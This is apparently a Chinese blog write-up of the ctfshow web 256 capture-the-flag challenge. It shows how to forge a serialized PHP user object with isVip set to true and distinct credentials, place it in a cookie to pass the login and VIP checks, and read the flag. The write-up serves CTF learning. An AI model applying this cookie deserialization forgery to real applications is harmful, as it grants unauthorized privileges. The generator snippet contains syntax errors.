ctf show web 入门256

通过代码审计可以看出本题要求我们

php 复制代码
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();

当cookie的值被反序列化后的username和password的值与在url输入的值一样时满足第一层if语句

然后判断user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user->vipOnekeygetflag()

同时还要满足

php 复制代码
public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag; 

username和password的值要满足用户名和密码不能相同

我们可以本地运行一段简单的 PHP 代码,来生成我们需要的序列化字符串
<?php class ctfShowUser { public username = 'admin'; // 任意设置,但不要与密码相同 public password = 'secret'; // 任意设置 public isVip = true; // 必须为 true } user = new ctfShowUser(); echo urlencode(serialize($user)); ?>

这里就可以直接把输出的结果放入该网站的cookie中

我们先按下f12打开开发者工具

先添加一个cookie然后对这个cookie的名称和值进行修改

因为这次的反序列化后的值已经被url编码使用可以直接输入没有限制

最后flag为:your flag is ctfshow{3e5d5dc9-1b36-4060-8b1d-90f74ac4ef9f}

相关推荐
怕浪猫5 小时前
FDE 如何正确解决现场项目工程性的问题
前端·后端·ai编程
西瓜太郎12345 小时前
外层模型卡片与分组详情成功率不一致,应该怎么排查?
前端·typescript·go·软件工程·react
GreenTea6 小时前
vLLM 与 SGLang KV Cache 底层实现机制深度调研报告
前端·后端·算法
开心就多写,一点就开心6 小时前
导演视听语言与分镜系统笔记(一):景别系统、机位视点与时空连贯性设计
笔记·aigc·镜头·电影
疯狂打码的少年8 小时前
【计算机网络】IPv6基础(特点、表示法、与IPv4对比)
网络·笔记·计算机网络
几何心凉8 小时前
没有万能模型:我用 AiiOnly Token Plan,把多款大模型的长处拼进同一个项目
前端
kyriewen8 小时前
Claude Code 的额度今天缩水了17%——官方公告上写的是"永久提高25%"
前端·ai编程·claude
天空之城--9 小时前
Android逆向安全合规接单指南
android·安全
雪芽蓝域zzs9 小时前
vue解构平铺VS对象包裹
前端·javascript·vue.js
风骏时光牛马10 小时前
从零到实战,完整AI学习路线
前端